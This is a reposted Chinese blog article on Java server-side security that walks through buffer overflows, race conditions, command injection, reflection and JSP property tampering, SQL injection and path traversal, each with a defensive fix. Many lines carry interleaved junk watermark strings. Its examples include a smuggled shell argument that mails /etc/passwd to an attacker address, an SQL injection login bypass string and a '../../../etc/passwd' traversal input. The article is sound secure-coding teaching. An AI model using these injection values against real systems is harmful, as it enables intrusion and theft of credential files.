所有文章均来自网络(除测试总结部分),如果涉及到版权问题请与我联系,我会及时删除~~~~

Java服务器端编程安全必读(转贴)

上一篇 / 下一篇  2007-01-17 08:50:18 / 个人分类:安全测试

&]w7X]4J0 一、概述51Testing软件测试网/N0h:l2NA'` v t
编写安全的Internet应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以
s+rL4t4rX`,|.d0找到连续不断的安全漏洞报告。你如何保证自己的Internet应用不象其他人的应用那样51Testing软件测试网)cq5iv`#i
满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?51Testing软件测试网|/}Fdg:M m3C
如果你使用Java Servlet、JavaServer Pages(JSP)或者EJB,许多难以解决的问题都51Testing软件测试网Xru)DJ&KZp9yO
已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为51Testing软件测试网 R,\RSU I
什么Java程序员不必担心部分C和Perl程序员必须面对的问题。
.T2f,K!?A `0C程序员对安全漏洞应该已经很熟悉,但象OpenBSD之类的工程提供了处理此类问题的安
Q.af$| c7{]0全系统。Java语言处理这类问题的经验要比C少20年,但另一方面,Java作为一种客户
Wb,\8DO8L)I0端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着Java的发展有着51Testing软件测试网|l"J^W3r
一个稳固的安全性基础。
%rXS)W*P0Java原先的定位目标是浏览器。然而,浏览器本身所带的Java虚拟机虽然很不错,但却
&h){p6Bzx*e0f \0并不完美。Sun的《Chronology of security-related bugs and issues》总结了运行
9~2U?.X!V1y3ga0时环境的漏洞发现历史。我们知道,当Java用作服务器端编程语言时,这些漏洞不可能
n2mnO`*^ |W0被用作攻击手段。但即使Java作为客户端编程语言,重大安全问题的数量也从1996年的
|%|xS(}_d*VkU06个(其中3个是相当严重的问题)降低到2000年的1个。不过,这种安全性的相对提高
'K3^7f2g$h6p9J0并不意味着Java作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻51Testing软件测试网Q$j[K)[ I4v"c
击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何51Testing软件测试网1L\,T L2Y1mk
面对类似问题的呢?
51Testing软件测试网nlVrQe!Ch

51Testing软件测试网0z(d C?:TUP7C3fp2t

二、缓存溢出
7M2CGiM1f0i o:_-H t'X0在C程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间51Testing软件测试网)Db%kE p0bF
(专供用户输入使用)时出现。缓存溢出可能成为导致应用被覆盖的关键因素。C程序
u#w&Qn/L/N~3~ m0很容易出现缓存溢出,但Java程序几乎不可能出现缓存溢出。
#V$w*l U/mU0从输入流读取输入数据的C代码通常如下所示:51Testing软件测试网CI[ {X P)s
char buffer[1000];
MY&W,kexEO0int len = read(buffer);
51Testing软件测试网1F'x0{O:Y t2o

51Testing软件测试网H"zda#S }S {+^ yw


p/z9h"DQ*g0由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难51Testing软件测试网 P;S[I"F)L;q/WZ
的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。
*uE GZ ao*u-GT0有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。51Testing软件测试网;\_5i-j+G"H c(_)[
在Java中,我们一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java51Testing软件测试网/Ye*eV)?D
代码如下所示:
2qrM"BH8E4Y0String buffer = in.readLine();

3ETx i8I*r051Testing软件测试网"K#X*t `!g5bOfLO

在这里,“缓存”的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后51Testing软件测试网Yc yG&F
不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存51Testing软件测试网2ugu+Fpj/Tn
,Java也不象C那样容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将产51Testing软件测试网#oK,r?.['PI;q
生溢出:51Testing软件测试网'` r6{N \9W'ai5P o$AO
char[] bad = new char[6];51Testing软件测试网+R:ZO#K2t1D
bad[7] = 50;这段代码总是抛出一个java.lang.ArrayOutOfBoundsException异常,而
+ZaqM9l-m0该异常可以由程序自行捕获:51Testing软件测试网&IYg)Zi
try {
j+EO%U C5m'AUU0char[] bad = new char[6];
#bF dg0zrN!lirw0bad[7] = 50;51Testing软件测试网8a5l/Zw Gyj
}
JU/VF'G0catch (ArrayOutOfBoundsException ex) {51Testing软件测试网 ln*Ub%Rz5W@8T/W
... }
51Testing软件测试网y8R&wn'@oX.F

}Vx6a)f:j0
,i `#gj,T ^/X&a0这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是
C3@kJo@B'Z0得到ArrayOutOfBoundsException异常,而Java运行时底层环境却能够保护自身免受任
*NZ;\Eup0何侵害。一般而言,用Java字符串类型处理字符串时,我们无需担心字符串的51Testing软件测试网q0f Ik2U^cG*Q
ArrayOutOfBoundsExceptions异常,因此它是一种较为理想的选择。
WXO/\4T5P0Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得51Testing软件测试网] m"G}4Y9l;i Gf
Java程序员摆脱了最危险的编程漏洞。
51Testing软件测试网:k2V!V8~#D%K~

51Testing软件测试网-RzC+]?`Y

三、竞争状态51Testing软件测试网H6|7?,|)ry
竞争状态即Race Condition,它是第二类最常见的应用安全漏洞。在创建(更改)资源
1^QX{0O4Me!}0到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出
L1`xE;fe4P0现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你
1`A x0p+Cz'sW0多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数
(L"~ x/ix W)uMw0据库中,事务机制使得两个独立的事件“原子化”。换言之,一个进程创建文件,然后
c8}$D%C&XA+?5@&U2o K0把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该51Testing软件测试网b&@8`E*^ q a,VDX:Q3s^
文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进51Testing软件测试网'w!K6[1R9i8q wWVfd
行访问。51Testing软件测试网 JftG B'A
一般地,在标准Unix和NT环境下,一些高优先级的进程能够把自己插入到任务的多个步
Mr/fgQBM~:b @0骤之间,但这样的进程在Java服务器上是不存在的;同时,用纯Java编写的程序也不可51Testing软件测试网!B,z` o|;s%p j K*gR$l
能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在Java中不会出现,51Testing软件测试网;P.t2Ghs.x!l"h
但这并不意味着Java完全地摆脱了这个问题,只不过是问题转到了虚拟机上。51Testing软件测试网a*vu(}I.@6B.o-}
我们来看看其他各种开发平台如何处理这个问题。在Unix中,我们必须确保默认文件创51Testing软件测试网6jbo.Fd)uF"G
建模式是安全的,比如在服务器启动之前执行“umask 200”这个命令。有关umask的更51Testing软件测试网s9i8S bU,e,gH i#pj
多信息,请在Unix系统的命令行上执行“man umask”查看umask的man文档。
Dl0Z Q{(w-s;nl0在NT环境中,我们必须操作ACL(访问控制表,Access Control List)的安全标记,保51Testing软件测试网:E vdhP!i9_$tj
护要在它下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参见
'L{ j$d wed)\0NT文档了解更多信息。
+i1h,P4p} ET!g0Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生
k ] xakeVg0成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散
htKIXC{.x0列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其51Testing软件测试网%? `:JD!w t$?
他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing 1所示:
hLV o x h9Uh0(Listing 1)
4o{!h8I]/WS0// 保存已登录用户的ID
7k(Gs+K#L0Hashtable hash;51Testing软件测试网 Q7iEkf rT8k
// 随机数字生成器51Testing软件测试网1}6IW%U }.h
Random rand;
D$[NInW0// 生成一个随机数字
f}2q yzb0Integer id = new Integer(rand.nextInt());51Testing软件测试网o(o)dO}T~p
while (hash.containsKey(id))51Testing软件测试网 _ e|"io
{
G*y;z E7wQ-h;S0id = new Integer(rand.nextInt());51Testing软件测试网"Z6S/M5ll8u b$P{W,v
}51Testing软件测试网H8|&AM2S3v#m/x
// 为当前用户保留该ID
n2y.ws5Y&D8x u0hash.put(id, data);

D,@*[*@)S;pN3rD051Testing软件测试网"{;@9q~d]c Jrk3u-b+H ~


zq:Lw2C's0Listing 1的代码可能带来一个严重的问题:如果有两个线程执行Listing 1的代码,其
7?3|E[6g E(t6mdO0中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被51Testing软件测试网RNH:c2vv)x
使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing 1的代码可以改
gI$r1iTTz0写成Listing 2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,
%lN!o,X1xi:T0避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个
%c!hRe'q rv6P)n A0利用EJB服务器线程控制机制的唯一ID服务。51Testing软件测试网3aO4T5}4i8R t
(Listing 2)51Testing软件测试网2p,~H)]a5E
synchronized(hash)51Testing软件测试网-j!a"{a5z6i
{51Testing软件测试网W$AKX y hk
// 生成一个唯一的随机数字51Testing软件测试网eG{G)`
Integer id =51Testing软件测试网(y5VdP%z
new Integer(rand.nextInt());51Testing软件测试网O%C M+Hfr2Hj`0J
while (hash.containsKey(id))51Testing软件测试网"mu b$P(N
{
&J5Wmd u&@b0id = new Integer(rand.nextInt());51Testing软件测试网J7X?@s(s
}51Testing软件测试网)we'N4U.J;}b`0s
// 为当前用户保留该ID51Testing软件测试网tij/pqpH
hash.put(id, data);
9}@ Li4z qM0}
51Testing软件测试网wYR3w:[6j.R"w

1?7J'I e ]YN z'l051Testing软件测试网S*XI m,dY"w L
四、字符串解释执行51Testing软件测试网Ll r$R&U e
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、51Testing软件测试网4LO z'qT7I
多余的动作。下面的Perl代码就是一个例子:
!OscbU0$data = "mail body";
%x(X1f,UW*n4g0system("/usr/sbin/sendmail -t $1 < $data");

1t+p-~%aaK1v)aW[5q051Testing软件测试网?bF"{ Q


#p f-Po\lGD0显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以51Testing软件测试网Fi RKf.|f*@)o6n
按照如下方式调用:51Testing软件测试网Da-V-f d%H4R~
perl scrīpt.pl
honest@true.com51Testing软件测试网UX[M7VKbPy+d ?

51Testing软件测试网P{.V'B%q%k

它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单51Testing软件测试网S5Bs#Wh(XV*o~
,但我们却可以按照如下方式进行攻击:51Testing软件测试网;F&k;T6~hUG+R5O
perl scrīpt.pl
honest@true.com;mail
MV'g0?5] JN,f0cheat@liarandthief.com< /etc/passwd

8o&RC'E:]051Testing软件测试网#Rpq)V2R7KbB b

51Testing软件测试网@N:^eIi;m5tJ
这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了
8r n|9cK1~.n}.F0
cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带
.O P&D8| _V&f$W0来重大的威胁。
0t4[ SD*G eC0Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外
s3s[+jl0部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就51Testing软件测试网4pZ]'W1a5JO-C?
是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
7Q2~%rwf\}#\/|'g0Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
51Testing软件测试网 gJ:fmy k` j#C(Yr

/b*~&T%i$E0事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为
_)u&g0cRpQ&k/J0Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
V1{'W p'J+{*p0Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
51Testing软件测试网 nx@@uQ:b c8_z,S

H*M q9G b*Y0但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规51Testing软件测试网 q n(zW] x.z9DB&r
的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可51Testing软件测试网"CnSA.n"}*s7a
移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例
Ia8J}pm;zM-|0子,其他许多情形更复杂、更隐蔽。
5h#l Fu0^#Z0让我们来考虑一下Java的映像API(Reflection API)。Java映像API允许我们在运行时51Testing软件测试网K0?/H!G q!S2u:ygq
决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为51Testing软件测试网m3PXCol1g_
系统的安全弱点。例如,下面的代码就有可能产生这类问题:51Testing软件测试网\:[P8crqOaP
Method m = bean.getClass().getMethod(action, new Class[] {});
%hK8x.D(A\"u0m.invoke(bean, new Object[] {});

g)c$K7iExJU0

"~^[ i-Ah5Z%Q:n^051Testing软件测试网O9B+j-O-B b
如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在51Testing软件测试网HxunVS
一些令人奇怪的地方出现——或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像51Testing软件测试网vo Cen |+Tz,DN
API实现下面的功能:51Testing软件测试网XzS1W3M!D.Z
<jsp:setProperty name="bean" property="*" />

3uo^|E?5l:Ny051Testing软件测试网Bzop3C

这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,51Testing软件测试网d/sI&?;msY9O n3pT
对于Listing 3的Bean和Listing 4的JSP页面:
$^ D'z}z:n)D0(Listing 3)

$?2_uSS j9v0

9^3|%Th!J@0public class Example51Testing软件测试网0r+c b&SE v*L:y$S6w!t
{
QZ UO#Q3O0public void setName(String name) {
Ue}Gb |)N0this.name = name; }51Testing软件测试网P%V7K,\5k7Vl}
public String getName() { return name; }51Testing软件测试网x FO Z1@:K
public void setPassword(String pass) {
*PvrL1|5[({&`0this. pass = pass; }51Testing软件测试网;g#XJEu[d`5_8Yb m
public String getPassword() { return
z"W|4i`nP0pass; }51Testing软件测试网 l!Q,@K8oV'l
private String name;51Testing软件测试网'Yp}'k phGCq
private String pass;
[B3v.~ \ _&e@.v;kL0}51Testing软件测试网#K2r:dF?
(Listing 4)51Testing软件测试网m0t%{:QC'P.u
<%@ page import="Example" %>51Testing软件测试网Vu SN+`"w5x
<jsp:useBean id="example" scope="page"51Testing软件测试网~ Q9n2X]G7[
class="Example" />
7_'O-b%i.?${7UE0<jsp:setProperty name="example" property="*" />
M3h|4X]S:Y6F:xJA,n0<html>
g0B-y_ma&W0<head>51Testing软件测试网2X*k x'Q9]"D}!K2y
<title>Bean示例</title>
q8~$bk dA;D*p(Eb0</head>51Testing软件测试网v)c2u4W"w w r
<body>51Testing软件测试网A2o:o0g)lA\0h}
<form>
)C'g(IiS0<input type="text" name="name" size="30">51Testing软件测试网,IJn O8Bd}H8Z
<input type="submit" value="Submit">
DCZr^Us0</form>
}~1Q p:`$@5d0</html>
51Testing软件测试网2J/DJO0eE;m4V

duNy)d xg051Testing软件测试网wEm:},JxB4P
从表面上看,这些代码只允许用户访问example Bean的名字。然而,了解该系统的用户51Testing软件测试网l.X9`A&uIA7x3I;E2W
可以访问“http://whereever.com/example.jsp?name=Fred&password=hack”这种URL
:S$T#?j{K;v0。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者
K)F:d5hk5g0的意图,作者的意图是设计一个只允许用户访问名字属性的页面。因此,在使用51Testing软件测试网 z9[1I0j6I.W7l0K2\
<jsp:setProperty property=&quot;*&quot; ... /&gt;。>

2uV!thSi051Testing软件测试网\X%] wPp#Tw

时应该非常小心
t DD{0[L0字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题
gA*sXQ{1|0可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的情51Testing软件测试网0T:t;\6O(j O'T-?/O"|b
况下。51Testing软件测试网:CJo{;T
Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本支
%z%t e2u \6A/[W0持是一种明智的选择。当你需要用DOM处理XML文档时还必须考虑到另外一点:DOM保证
%_q.m^@$?}0所有文本都经过正确的转义处理,防止非法的标记插入到脚本之内。LotusXSL缺乏这个51Testing软件测试网W5BU'j3Z'ct
功能,但这绝不是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地)默认
:~4e)sed-|0处于关闭状态。XSL的W3C规范并没有规定支持脚本的能力。51Testing软件测试网A1jT2j `Z$`7]q
现在我们来看看字符串解释执行如何影响SQL和JDBC。假设我们要以用户名字和密码为
,ILB/h3w*cb0条件搜索数据库中的用户,Listing 5的Servlet代码看起来不错,但事实上它却是危险51Testing软件测试网m zU-jZ-w%Q&s Y
的。51Testing软件测试网xO9lk2IN6SeBJ
(Listing 5)
+wegp-k*Ck8b0String user = request.getAttribute("username");51Testing软件测试网,QUh%g`9`#c2U;Kf
String pass = request.getAttribute("password");51Testing软件测试网(w/y3G*g I&G`5d
String query = "SELECT id FROM users WHERE
T6psx%M C#H0username="+user+" AND password="+pass;
4]b/Or&mY0Statement stmt = con.createStatement(query);
djD&z;N+b6]f0ResultSet rs = con.executeQuery(query);51Testing软件测试网 qb9B8J#GWf
if (rs.next())51Testing软件测试网5RWsd;Zn
{51Testing软件测试网 SH r_mE5lbeG
// 登录成功
@(Ey2M*v0int id = rs.getInt(1);51Testing软件测试网?Aw b.@G3F
...
3Q"q3b;a'em|0}51Testing软件测试网A&r `.V1y hp
else
-L?sB@0{
#}~jHQ0yV _Iw5e0// 登录失败
&^z ?PS D&D"[ nM0...51Testing软件测试网uq6B8U8hzDA
}

TaklQ%Py$GLj051Testing软件测试网![.f0~7F/K

51Testing软件测试网tbU7Lr!y.H
如果用户输入的查询条件中,用户名字等于“fred”,密码等于“something”,则系51Testing软件测试网8s$t}'B:LS {7c5^
统执行的查询实际上是:51Testing软件测试网-QH&V},kJr
SELECT id FROM users WHERE51Testing软件测试网f7P\(PjB
username='fred' AND password=51Testing软件测试网PN]jvR
'something'
51Testing软件测试网]!L(dC9hg.a8I

51Testing软件测试网D d:h%dS(y#t-Em

51Testing软件测试网 [hU6?3t%\ T
这个查询能够正确地对用户名字和密码进行检查。但是,如果用户输入的查询条件中,51Testing软件测试网8O/Nba`
名字等于“fred' AND ('a'='b”,密码等于“blah') OR 'a'='a”,此时系统执行的
C;_;o[y{#H1l bh T0查询变成了:
ZP;@3{P q L9ED0SELECT id FROM users
.r$BHS;Ji0WHERE username='fred' AND (51Testing软件测试网&c:w7[~1L'z(Y J
'a'='b' AND password='blah') OR 'a'='a'
51Testing软件测试网+mBw-w$L R1Ggu

~y7OI']8e-jU D0
*b GN6g2_0可以看出,这个查询无法正确地对用户名字和密码进行检查。Listing 6的代码要安全51Testing软件测试网^2x/{(T&?`Gj+R*J)X
得多,它从根本上防止了用户修改SQL命令逃避检查。51Testing软件测试网9D `R6Mby*]~
(Listing 6)51Testing软件测试网qD8jVXz6d
String user = request.getAttribute("username");
n0i F`&N-WW FQ&H!I0String pass = request.getAttribute("password");
`"U'F2_mOJA0String query = "SELECT id FROM users
*mUKEC&b\&`]`0WHERE username=? AND password=?";51Testing软件测试网%AUh%_{m#Q
PreparedStatement stmt = con.prepareStatement(query);
;ki^b7I(f ?f$f)}b0stmt.setString(1, user);
aR-A9}G5_%C5Z0stmt.setString(2, pass);
+K:`b}i4}1^D_0ResultSet rs = stmt.executeQuery();51Testing软件测试网z b&u X%VM N
...
51Testing软件测试网#Y"Im$Hg+O5Q7r p!v

CegO#J3R A%Yk0
6X V ~e$L0所有对文件系统的访问都是字符串可能被解释执行的地方。用Java访问文件系统时,我
@TQ^c})o0们应该注意文件的命名方式。Listing 7是一个可能带来危险的例子。这个程序根据用51Testing软件测试网l[ P2h&n2qHXb
户输入决定读取哪个文件,它的危险就在于攻击者能够输入“../../../etc/passwd”
fu+d P#KMo&r`| BQ0这样的文件名字并获得系统的密码文件。这可不是我们希望出现的事情。预防出现这种51Testing软件测试网G&|*o p'dZhP
安全漏洞最简单的方法是:除非绝对需要,否则不要使用平面文件(Flat File)。
7H[ J:XL| P0(Listing 7)51Testing软件测试网#f@qH4o_1\
public class UnsafeServlet51Testing软件测试网-_1u^%`sk6S`&y+w?
{
&d1y??rr&{\c9`0public void doGet(HttpServletRequest request,
|Wz-gK A0HttpServletResponse response)51Testing软件测试网b~(PZ"L,Mn8WF
{51Testing软件测试网4A7KI)MwY&e&x
String product = request.getAttribute("product");
$M7n2RXi? Y0Reader fin = new FileReader(51Testing软件测试网}-c(WX v+Y-JF
"/usr/unsafe/products/"+ product);51Testing软件测试网s$Q}])rtw#t'Ugl
BufferedReader in = new BufferedReader(fin);
Ava4N uvW3sr0String cost = in.readLine();
Z8lS G \e4z0// 其他处理过程51Testing软件测试网6cuVCCQ
response.getWriter().println(cost);
R)Vm*aU$j0}
G%i1M*E-[0}
51Testing软件测试网 eFd uB f'n7F]:D

51Testing软件测试网?r b*U3z2`^L

51Testing软件测试网(x-|Gql7Gw\;J(FN
大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置51Testing软件测试网"T6wU$P,KeI
方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接51Testing软件测试网F2c0}5?/^Jf0Jz'F(A
操作文件系统以及是否使用映像API),我们就可以实施“无文件系统直接访问”策略51Testing软件测试网6{||#w-H3A'szS
。尽管大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。51Testing软件测试网 {3G&E2HxWR
最后,请务必不要忘记保持数据充分分离、精确定义这一良好的编程习惯。假设我们有
fOcX,w,FL"X_0一个用来保存用户信息的数据库,现在需要增加一个字段标示用户是否具有超级用户权
P e]1N|._lAu0限。如果在原来的表中增加一个列实在过于复杂,采用下面这种方法就变得很有吸引力
5Bi#EHA c_"F0:在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该特51Testing软件测试网 PV2F3| @i
殊字符,以便防止非法用户宣称自己拥有特殊权限。但事实上,这种做法是非常有害的
yT/T)b]%J#n^5@%F0。所有的数据域,不管它是在数据库中还是作为局部变量,都应该精确定义且只保存一51Testing软件测试网(`Wdk0J0reb jC-iL#U
份信息。

.b},N t3n A9m0

2u i6z$ZRxV0五、基本原则总结
Gc Z\W I4L)e&{%f0根据上述讨论,我们得到如下防止出现安全问题的基本原则:
51Testing软件测试网cVG G)r-omu3_

,k~)h[%g0对于各个输入域,严格地定义系统可接受的合法输入字符,拒绝所有其他输入内容。

kL0Cc%dd0D0x0

1}{$? [mB0应该尽可能早地对用户输入进行检查,使得使用危险数据的区域减到最小。51Testing软件测试网1p u[[w9F7r
不要依赖浏览器端Javascrīpt进行安全检查(尽管对用户来说这是一种非常有用的功能51Testing软件测试网~.^,v.Q7fU2X"?$\
),所有已经在客户端进行的检查应该在服务器端再进行一次。51Testing软件测试网$L#j J(|*S"m4P x*v
这些原则有助于消除大量的安全问题。本质上,在应用这一级上,URL和POST数据是用51Testing软件测试网8~X wx!Cy%JU
户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性51Testing软件测试网Rx/B?DU7J
上。51Testing软件测试网"k!I(X}eM6xr3A
当然,简单地遵从本文的建议并不能够保证绝对的安全。你必须分析其他各方面的因素
/_!F DRl {ToB0,包括网络的安全性以及你所用到的其他服务的安全性。
,}^Kcp0每天都有新的安全漏洞被发现和修正。在系统足够安全、可以连接到Internet之前,请
'\J xR7s {"P0务必听取专家的建议;在正式提交源代码之前,一定要留意可能存在的漏洞。小心永不51Testing软件测试网E;c9g zxaP
过份。51Testing软件测试网HMBvV6a^
 
~_ _[l-R lX0
51Testing软件测试网M&eJdZ7F%sk


TAG: 安全性测试

 

评分:0

我来说两句

日历

« 2023-10-13  
1234567
891011121314
15161718192021
22232425262728
293031    

数据统计

  • 访问量: 42517
  • 日志数: 61
  • 建立时间: 2007-01-15
  • 更新时间: 2007-07-23

RSS订阅

Open Toolbar